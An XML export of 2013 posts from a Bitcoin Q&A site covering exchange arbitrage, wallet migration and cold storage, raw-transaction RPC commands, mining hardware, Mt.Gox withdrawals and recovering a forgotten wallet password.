  <row Id="12754" PostTypeId="2" ParentId="12670" CreationDate="2013-08-19T17:31:32.483" Score="0" Body="&lt;p&gt;I can tell you also another thing; the high profit % is due to the temporary closure of bitinstant, and that speed up the process...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This graphic represents the % of profit between 27/1 and 27/6 2013 (6h timeframe)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uv7J5.gif&quot; alt=&quot;http://www.wolframalpha.com/share/clip?f=d41d8cd98f00b204e9800998ecf8427ecn3c6i81m3&quot;&gt; &#xA;(source: &lt;a href=&quot;http://www.wolframalpha.com/share/clip?f=d41d8cd98f00b204e9800998ecf8427ecn3c6i81m3&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.wolframalpha.com/share/clip?f=d41d8cd98f00b204e9800998ecf8427ecn3c6i81m3&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simply reconstruct the events when bitinstant was closed or under maintenence by the graphic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are the steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;fee of the bank transfer between your bank and bitstamp (sepa or&#xA;international, this depends also by your banks)&lt;/li&gt;&#xA;&lt;li&gt;0.48% fee of bitstamp to buy BTCs&lt;/li&gt;&#xA;&lt;li&gt;minimal fee to send to mtgox+time to verify the transaction (6&#xA;confirmations, which can take almost an hour)&lt;/li&gt;&#xA;&lt;li&gt;now a 0.6% fee on mtgox to sell the BTCs&lt;/li&gt;&#xA;&lt;li&gt;and a 1% withdrawal fee+time to receive the money (normally up to 2&#xA;weeks, now up to 3!)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;ps. I just earned a new battery for my cellphone with this process.&lt;/p&gt;&#xA;" OwnerUserId="5358" LastEditorUserId="5044" LastEditDate="2014-01-08T22:22:36.993" LastActivityDate="2014-01-08T22:22:36.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12755" PostTypeId="2" ParentId="10676" CreationDate="2013-08-19T17:33:13.257" Score="-2" Body="&lt;p&gt;Nvidia focuses on larger way, how the solution is going to applied in real world. AMD focus on the core computing architecture and rest is left to the implementors.&lt;/p&gt;&#xA;" OwnerUserId="6417" LastActivityDate="2013-08-19T17:33:13.257" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12756" PostTypeId="1" CreationDate="2013-08-19T19:20:47.317" Score="1" ViewCount="2161" Body="&lt;p&gt;Currently have my cold setup offline in Bitcoin-QT. Downloading the blockchain from zero is rough. It's time to update. Can I create a similar cold storage solution with Multibit? Will this speed up load time when I bring coins online thru Multibit?  Are there any other benefits or weaknesses that you can think of with a Bitcoin-QT cold solution vs. a Multibit cold solution?&lt;/p&gt;&#xA;" OwnerUserId="5287" LastEditorUserId="5287" LastEditDate="2013-08-28T01:01:31.770" LastActivityDate="2014-02-24T06:37:37.403" Title="Can Multibit be used as an offline cold storage solution similar to a setup with Bitcoin-QT?" Tags="|blockchain|bitcoin-core|multibit|coldstorage|offline|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12757" PostTypeId="1" CreationDate="2013-08-19T20:10:04.223" Score="0" ViewCount="712" Body="&lt;p&gt;&lt;strong&gt;Bitcoin miners decrypt hashes, but who or what encrypts them in the first place?&lt;/strong&gt; After all, something must have encrypted it so that miners could find it.&lt;/p&gt;&#xA;" OwnerUserId="6419" LastEditorUserId="5406" LastEditDate="2016-04-28T13:54:25.980" LastActivityDate="2016-04-28T13:54:25.980" Title="Who/What generates Bitcoin Hashes to be mined?" Tags="|mining-theory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12758" PostTypeId="2" ParentId="12756" CreationDate="2013-08-19T20:54:02.200" Score="1" Body="&lt;p&gt;MultiBit cannot do true cold storage where your transactions are signed offline and then you transport them to a different machine and broadcast them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The underlying library, bitcoinj, does support it but it is not in the user interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the size of the blockchain is the main factor, Electrum might be worth looking into. I am pretty sure you can sign a transaction, move it and broadcast it on a different machine. I think this is done on a command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is still several months away but a nice solution will be Trezor where the signing is done on a hardware device and the host machine is used to broadcast it. I believe all of MultiBit,  Electrum and Armory are planning to support Trezor. &lt;/p&gt;&#xA;" OwnerUserId="888" LastActivityDate="2013-08-19T20:54:02.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12759" PostTypeId="1" AcceptedAnswerId="12765" CreationDate="2013-08-19T21:12:33.790" Score="2" ViewCount="1045" Body="&lt;p&gt;The &lt;a href=&quot;https://en.wikipedia.org/w/index.php?title=Bitcoin&amp;amp;oldid=569201957#cite_note-whitepaper-1&quot; rel=&quot;nofollow&quot;&gt;first citation&lt;/a&gt; in Wikipedia's Bitcoin article is of &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;Satoshi's original whitepaper&lt;/a&gt;. It is worded:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Nakamoto, Satoshi (24 May 2009). &quot;Bitcoin: A Peer-to-Peer Electronic Cash System&quot;. Retrieved 20 December 2012.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Satoshi's whitepaper &lt;a href=&quot;http://www.mail-archive.com/cryptography@metzdowd.com/msg09959.html&quot; rel=&quot;nofollow&quot;&gt;was released on 1 Nov 2008&lt;/a&gt;, not on 2009.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? Did anything relevant happen at 24 May 2009? Is this a factual error in the Wikipedia entry? (It's there for a long time, so it's not any recent vandalism).&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2013-08-20T08:27:27.777" LastActivityDate="2017-01-08T20:21:20.643" Title="Why does Wikipedia's Bitcoin entry imply Satoshi's whitepaper is from May 2009?" Tags="|history|satoshi-nakamoto|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12760" PostTypeId="2" ParentId="12741" CreationDate="2013-08-19T21:12:38.217" Score="4" Body="&lt;p&gt;ok, i figured it out. the correct answer to the following example will look this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# get your unspent transactions&#xA;listunspent&#xA;# select the ones you want to pour BTC from, please also note their 'vout', it is an output of a transaction you own a private key to and therefore able to spend.&#xA;createrawtransaction '[{&quot;txid&quot;:&quot;aaaa...&quot;,&quot;vout&quot;:0},{&quot;txid&quot;:&quot;bbbb...&quot;,&quot;vout&quot;:0}]' '{&quot;1mainaddr...&quot;:0.02}'&#xA;# explained: you are using two outputs, of total 0.0205 BTC. you give away 0.0005 fee and you keep 0.02 at your 1mainaddr...&#xA;# you can dump the resulting transaction draft to see how it'll look like&#xA;decoderawtransaction &amp;lt;...result_from_createrawtransaction...&amp;gt;&#xA;# sign it with your private keys&#xA;signrawtransaction &amp;lt;...result_from_createrawtransaction...&amp;gt;&#xA;# if it returns you a hex with &quot;complete&quot; : true, you can now send it off to network&#xA;# if it returns &quot;complete&quot; : false, you either don't have a private key for signing, or you might have specified invalid 'vout'. google for more possible problems, those were two i experienced.&#xA;sendrawtransaction &amp;lt;...result_from_signrawtransaction_hex...&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;references&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;people.xiph.org/~greg/signdemo.txt&lt;/li&gt;&#xA;&lt;li&gt;bitcointalk.org/index.php?topic=101525.0&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;thanks&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;@Murch&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;this is a manual for original satoshi client.&lt;/p&gt;&#xA;" OwnerUserId="6408" LastActivityDate="2013-08-19T21:12:38.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12762" PostTypeId="1" AcceptedAnswerId="12792" CreationDate="2013-08-19T21:22:19.937" Score="5" ViewCount="10610" Body="&lt;p&gt;I have a Blockchain wallet but am unable to decrypt my wallet and login.  I created the wallet on OSX and am trying to login on a PC but it's not working.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What are my options to brute force this account, when I know most of the characters involved?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm a programmer, and can write the code, so knowing what URLs and data files I need to work with would be a help.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2017-12-09T00:10:28.027" Title="How can I brute force decrypt my blockchain wallet?" Tags="|wallet|blockchain.info|" AnswerCount="2" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12763" PostTypeId="1" CreationDate="2013-08-19T21:23:04.013" Score="17" ViewCount="28030" Body="&lt;p&gt;I am switching from bitcoin-qt to Electrum, and it seems as if I will need to download the blockchain again. Can I copy and paste my wallet.dat into Electrum's files?&lt;/p&gt;&#xA;" OwnerUserId="6420" LastEditorUserId="5406" LastEditDate="2020-09-04T18:52:23.450" LastActivityDate="2023-08-30T00:25:54.697" Title="How can I transfer a Bitcoin-qt wallet to Electrum?" Tags="|bitcoin-core|electrum|private-key-import|wallet-import|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12764" PostTypeId="2" ParentId="8554" CreationDate="2013-08-19T21:26:54.070" Score="2" Body="&lt;p&gt;An interesting scenario occurs if  severance happens when the network very close to a 2016 block.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When mined 2016 block in most powerfully mined network fragment, a new hash rate is computed there -- likely 4x easier than current hash rate.  Thus instead of 1 block per 200 minutes (at 5% mining power local to network shard) 1 block per 50 minutes will get mined. The Bitcoin network works locally -- sort of -- adding many blocks before connectivity is restored. Confirmations will require 5x minutes, not 20x minutes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, connectivity is restored.  Local chains where the 2016 block was solved are much longer.  One of them wins instantly.  The whole Bitcoin network accepts lower difficulty and starts operating with a lower hash difficulty until the next 2016 block is solved.  It takes blocks 2.5 minutes to solve instead of 10, and it takes nodes 4 times the normal bandwidth to keep pace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But miners local to the network fragment containing  the greatest mining power win.  95% of competition is eliminated, so mining gets 4x easier per block.  Blocks take longer, but the earned bitcoin payout per spent mining effort is quadrupled until connectivity is&#xA; restored. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difficult imagining though anyone with so much to gain in quadrupled mining payout, that they are willing to cause a global catastrophe. &lt;/p&gt;&#xA;" OwnerUserId="6421" LastEditorUserId="1453" LastEditDate="2013-09-15T10:30:37.953" LastActivityDate="2013-09-15T10:30:37.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12765" PostTypeId="2" ParentId="12759" CreationDate="2013-08-19T21:27:38.273" Score="3" Body="&lt;p&gt;It looks like a factual error. It was introduced in &lt;a href=&quot;https://en.wikipedia.org/w/index.php?title=Bitcoin&amp;amp;diff=401835241&amp;amp;oldid=401833245&quot; rel=&quot;nofollow&quot;&gt;this edit&lt;/a&gt;. The editor should be contacted about what lead him to this information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, the mailing list post was from Nov 1 and not 11 as you wrote.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-19T21:27:38.273" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="12766" PostTypeId="2" ParentId="12757" CreationDate="2013-08-19T21:37:06.227" Score="1" Body="&lt;p&gt;&quot;Decrypting hashes&quot; is not really a correct way to describe the calculation, and nobody &quot;encrypts&quot; them, which is probably why you could find no information on this notion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hashes that miners calculate are based on all the transactions on the network, metadata and previous block hashes.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-19T21:37:06.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12767" PostTypeId="2" ParentId="8386" CreationDate="2013-08-19T21:54:53.693" Score="0" Body="&lt;p&gt;Would prefer memory intensive rather than processor intensive proofs of work.  ASICs make too exclusive and small the number for who possible mining is.  51% attack real worry for bitcoin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;51% attack can destroy bitcoin value completely.  May not be profitable in bitcoin but possible do for reasons other.  Imagine Chinese gov't considering people bypassing currency controls, or worse funding &quot;terrorists&quot; who want free speech.  If is considered &quot;Existential Threat&quot;, expect no hesitation on part of gov't to spend enough to destroy network, even when not profitable the destruction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also consider financial businesses eating whose lunch is bitcoin.  What problem has toll troll making $Trillions on transaction fees spending a few $Billion to protect business from impending destruction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proof of work amenable to custom ASICs is worrying like finding half a worm in remaining apple.&lt;/p&gt;&#xA;" OwnerUserId="6421" LastActivityDate="2013-08-19T21:54:53.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12768" PostTypeId="2" ParentId="9867" CreationDate="2013-08-19T22:23:43.560" Score="1" Body="&lt;p&gt;This is a solved problem, see &lt;a href=&quot;https://bitcointalk.org/index.php?topic=25786.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=25786.0&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_7%3a_Rapidly-adjusted_.28micro.29payments_to_a_pre-determined_party&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has also been recently implemented in BitcoinJ, and called &quot;Micropayment channels&quot;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-19T22:23:43.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12770" PostTypeId="2" ParentId="12762" CreationDate="2013-08-19T23:51:14.173" Score="2" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/wallet/wallet-format&quot; rel=&quot;nofollow&quot;&gt;The wallet format can be found here&lt;/a&gt;. &lt;a href=&quot;https://blockchain.info/DecryptWallet.html&quot; rel=&quot;nofollow&quot;&gt;There is also a tool that does this for you&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6408" LastEditorDisplayName="user6398" LastEditDate="2013-08-20T16:06:12.537" LastActivityDate="2013-08-20T16:06:12.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12771" PostTypeId="1" AcceptedAnswerId="12781" CreationDate="2013-08-20T00:04:52.683" Score="0" ViewCount="5275" Body="&lt;p&gt;Is it better to mine in a virtual machine or on the desktop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mining for Bitcoins and Litecoins, and am wondering how I can get the most hashes per second &lt;em&gt;without altering my hardware&lt;/em&gt;. If it matters, I am on a laptop. I see a couple of choices, such as:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.bitcoinplus.com/generate&quot; rel=&quot;nofollow&quot;&gt;Mining within a browser&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=65833&quot; rel=&quot;nofollow&quot;&gt;Using a dedicated machine, separate partition, or a virtual machine&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Mining using an app on a machine used for other things (your daily computer, used for surfing the web, gaming, etc.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So far I have tried running GUI Miner while doing other stuff. This doesn't work out well and I end up with only 32khash/s. Which of the above is the most optimal for doing this, or is there an even better choice?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My Laptop Specs&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;------------------&#xA;System Information&#xA;------------------&#xA;       Machine name: SAMSUNG&#xA;   Operating System: Windows 8 64-bit (6.2, Build 9200) (9200.win8_gdr.130531-1504)&#xA;System Manufacturer: SAMSUNG ELECTRONICS CO., LTD.&#xA;       System Model: 520U4C/520U4X&#xA;               BIOS: P03RAL&#xA;          Processor: Intel(R) Core(TM) i5-3210M CPU @ 2.50GHz (4 CPUs), ~2.5GHz&#xA;             Memory: 8192MB RAM&#xA;Available OS Memory: 7894MB RAM&#xA;          Page File: 3598MB used, 5510MB available&#xA;&#xA;---------------&#xA;Display Devices&#xA;---------------&#xA;          Card name: Intel(R) HD Graphics 4000&#xA;       Manufacturer: Intel Corporation&#xA;          Chip type: Intel(R) HD Graphics Family&#xA;           DAC type: Internal&#xA;        Device Type: Full Device&#xA;         Device Key: Enum\PCI\VEN_8086&amp;amp;DEV_0166&amp;amp;SUBSYS_C682144D&amp;amp;REV_09&#xA;     Display Memory: 1664 MB&#xA;   Dedicated Memory: 32 MB&#xA;      Shared Memory: 1632 MB&#xA;       Current Mode: 1366 x 768 (32 bit) (60Hz)&#xA;       Monitor Name: Generic PnP Monitor&#xA;         Monitor Id: SEC0200&#xA;        Native Mode: 1366 x 768(p) (60.072Hz)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user6398" LastEditorDisplayName="user6398" LastEditDate="2013-09-02T22:15:00.767" LastActivityDate="2013-09-02T22:15:00.767" Title="What is the most optimal way to mine?" Tags="|mining-pools|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12773" PostTypeId="2" ParentId="12771" CreationDate="2013-08-20T03:12:50.277" Score="0" Body="&lt;p&gt;Without changing hardware, GPU mining is almost certainly the &quot;best&quot; option. For BitCoin ASIC is the fastest, anything else is a waste of electricity at this point. For LiteCoin GPU is the fastest, and CPUs are around breakeven (electricity usage vs LiteCoin value).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that LiteCoin is inherently about 1000x slower than BitCoin mining. Getting 32kh/s out of a laptop GPU is doing reasonably well (my work laptop does the same). That same GPU can get almost 30Mhps mining BitCoin.&lt;/p&gt;&#xA;" OwnerUserId="4742" LastActivityDate="2013-08-20T03:12:50.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12776" PostTypeId="2" ParentId="2442" CreationDate="2013-08-20T06:13:07.920" Score="0" Body="&lt;p&gt;I'm a verified user at Mt.Gox and when I go to withdrawal funds link they show me this text&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;BTC : You can still withdraw up to 100.00000000 BTC provided you have&#xA;enough on your account (your limit is 100.00000000 BTC per 24 hours )&lt;/li&gt;&#xA;&lt;li&gt;USD : You can still withdraw up to $1,000.00000 provided you have enough on your account (your limit is $1,000.00000 per 24 hours and&#xA;$10,000.00000 per 30 days)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6150" LastActivityDate="2013-08-20T06:13:07.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12777" PostTypeId="2" ParentId="10265" CreationDate="2013-08-20T06:23:08.620" Score="-2" Body="&lt;p&gt;Give your website address in Merchant Settings then check by clicking Test&lt;/p&gt;&#xA;" OwnerUserId="6429" LastActivityDate="2013-08-20T06:23:08.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12778" PostTypeId="2" ParentId="5339" CreationDate="2013-08-20T07:10:21.937" Score="1" Body="&lt;p&gt;No DNSSec is not needed with Namecoin.  The mapping from name to IP cannot be forged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, DNSSec requires changes to resolver libraries so the domains are actually cryptographically verified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namecoin, to be secure, requires similar changes to resolver libraries because nothing in the current resolver libraries actually checks the integrity of the results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone can run software to verify that a traditional (insecure, no cryptography) nameserver that resolves .bit addresses actually return addresses corresponding to the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus namecoin name servers can be ensured to not &quot;fool all the people all the time&quot; by having &lt;em&gt;some&lt;/em&gt; servers that continuously check the integrity of the results produced by the insecure but backwards compatible nameserver.&lt;/p&gt;&#xA;" OwnerUserId="6431" LastActivityDate="2013-08-20T07:10:21.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12779" PostTypeId="2" ParentId="12763" CreationDate="2013-08-20T07:55:41.227" Score="3" Body="&lt;p&gt;I have to disagree with the other 2 answers at the time of this writing. While indeed wallet.dat contains all the critical information, and &lt;em&gt;in theory&lt;/em&gt; you could just use it with another application, in practice the wallet file format is not consistent between applications, and AFAIK you cannot use that file elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best course of action depends on your needs, but it's probably to export your private keys, import them elsewhere (such as blockchain.info), and send the coins to the wallet you want to use going forward.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-20T07:55:41.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12780" PostTypeId="2" ParentId="12299" CreationDate="2013-08-20T08:23:53.840" Score="2" Body="&lt;p&gt;Got to &lt;a href=&quot;http://earn-bitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;Earn Bitcoins&lt;/a&gt;. It's a website I compiled about this topic. All possible ways to earn Bitcoins are listed there. I will also constantly be adding links, so it's just a start right now.&lt;/p&gt;&#xA;" OwnerUserId="5793" LastActivityDate="2013-08-20T08:23:53.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12781" PostTypeId="2" ParentId="12771" CreationDate="2013-08-20T08:59:05.643" Score="0" Body="&lt;p&gt;You should consider mining alt coins period.  At this point you missed out on the BTC mining boat with your hardware sometime around February 2012...You are looking at mining maybe .00001 btc per day.  You would make more money selling lemonade on a corner for nickels.  BUT if you get into Alts you may be able to mine somewhere on the realm of a few dozens to a few hundred coins per day in pools.  Keep in mind that it is A LOT harder to get scrypt mining configured ESP if doing the GPU route.  Seems like you maybe be able to scrape by with maybe GUIMINER (scrypt) edition.  Alts could be sold at exchanges.  I suggest that you at least investigate the exchanges 2 weeks or more before you anticipate selling coins as you will not know the ideal price or even the going rate price such that you could gain substantially as opposed to dumping your coin on the exchange the moment it is mined (stupid and losing your money 95 percent of the time if you dump them to sell immediately for btc)&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2013-08-20T08:59:05.643" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12783" PostTypeId="2" ParentId="12763" CreationDate="2013-08-20T09:04:46.120" Score="3" Body="&lt;p&gt;This question is already answered in the Electrum tutorials &lt;a href=&quot;http://electrum.org/tutorials.html#switching-to-electrum&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://electrum.org/tutorials.html#switching-to-electrum&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;What to do with my old addresses and wallet when switching to Electrum?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The best way to switch to Electrum is to send all the bitcoins you have on your old wallet to one of the addresses on your Electrum wallet. This way you'll have all your bitcoins secured with your seed.&lt;/p&gt;&#xA;&lt;p&gt;You could import the private keys from your old client, but you will have to keep a backup of those keys separately as they won't become part of your Electrum seed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Remember not to totally delete your wallet.dat if you gave your addresses for the deposite to other people&lt;/p&gt;&#xA;" OwnerUserId="2467" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-08-20T09:12:00.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12786" PostTypeId="2" ParentId="11499" CreationDate="2013-08-20T12:46:59.953" Score="1" Body="&lt;p&gt;I recommend Coinbase. That's how I got my first 10 coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I wanted to get my first coins I was already registered on Gox but wasn't sure how long international transfers would take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I signed up with them and did the bank deposit verification method. I believe I verified the next day and bought 10 coins. I got the coins immediately but for anti-fraud measures I couldn't spend them for a few days (looks like on 8/20 the wait is 4 business days)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After being more trusted the buy limit goes up and your coins are available immediately.&lt;/p&gt;&#xA;" OwnerUserId="841" LastActivityDate="2013-08-20T12:46:59.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12788" PostTypeId="1" CreationDate="2013-08-20T14:13:44.857" Score="4" ViewCount="193" Body="&lt;p&gt;Say I create my own currency in Open Transactions, and begin trading it on OT with other users. What prevents some user from creating copies of my currency? I'm not sure its the same situation as double spending. I'm talking about someone who doesn't have any of my money simply creating it out of thin air and selling it to other people.&lt;/p&gt;&#xA;" OwnerUserId="6437" LastEditorUserId="3364" LastEditDate="2013-08-20T16:05:40.503" LastActivityDate="2013-08-23T18:39:31.097" Title="How does Open Transactions handle counterfeiting of currencies?" Tags="|open-transactions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12789" PostTypeId="2" ParentId="12314" CreationDate="2013-08-20T14:42:05.877" Score="1" Body="&lt;p&gt;The high latency will likely cause one of the following to occur:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;A consolidation of mining power on a single highly connected orbital station/planet&lt;/strong&gt;.  Each transaction has a round trip latency cost, plus a 6 confirmations time cost as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Stations/Planets compete for mining power&lt;/strong&gt;.  The latency induced by their distance will cause a number of block chain reorgs, therefore slowing down the overall transaction commit rate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Difference in up/down speeds&lt;/strong&gt;.  In some deployments, there is a greater ability to download data than upload.  This difference may cause delays in sending the block to the main chain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's not much different than using a satellite phone/internet to participate in the block chain on the Internet&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-08-20T14:42:05.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12790" PostTypeId="2" ParentId="12788" CreationDate="2013-08-20T15:12:52.460" Score="-2" Body="&lt;p&gt;if i see it correctly, there is a certain statical data within each existing cryptocurrency client, that is used to interact with the entire network. for example, you can't create bitcoin from air and add it to an existing bitcoin network. it will have to match the tree of cryptographical operations so far. there is original bitcoin paper out there and &lt;a href=&quot;https://en.bitcoin.it/wiki/Weaknesses&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Weaknesses&lt;/a&gt;  to help you better understand the possible problems and issues of bitcoin network.&lt;/p&gt;&#xA;" OwnerUserId="6408" LastActivityDate="2013-08-20T15:12:52.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12791" PostTypeId="1" CreationDate="2013-08-20T15:46:01.867" Score="7" ViewCount="13169" Body="&lt;p&gt;On Thursday, August 1st, I withdrew (or so I was given to understand) some dollars from my MtGox account.  They were to be wire-transferred to a checking account in the USA.  When the money hadn't shown up after two weeks, I sent an email to MtGox asking how I could tell where the transaction is in the queue.  I got a reply that didn't answer that question, but said that transactions are taking longer than they would like.  The money still hasn't been transferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this amount of time typical, or did this somehow get lost?  Is there some way to tell where in the queue I am?&lt;/p&gt;&#xA;" OwnerUserId="492" LastActivityDate="2013-08-25T18:13:39.447" Title="How long do MtGox withdrawals take?" Tags="|mtgox|wire-transfers|withdrawal|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="12792" PostTypeId="2" ParentId="12762" CreationDate="2013-08-20T16:48:14.293" Score="3" Body="&lt;p&gt;You can wrap a brute-force wrapper around any of the &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3034/78&quot;&gt;answers here&lt;/a&gt;. Just write some loops that iterate on all possible passwords, and call one of the functions in the linked question to try and decrypt you wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/7865/78&quot;&gt;This is what I used&lt;/a&gt; in a similar scenario (Javascript/node.js).&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-08-20T16:48:14.293" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
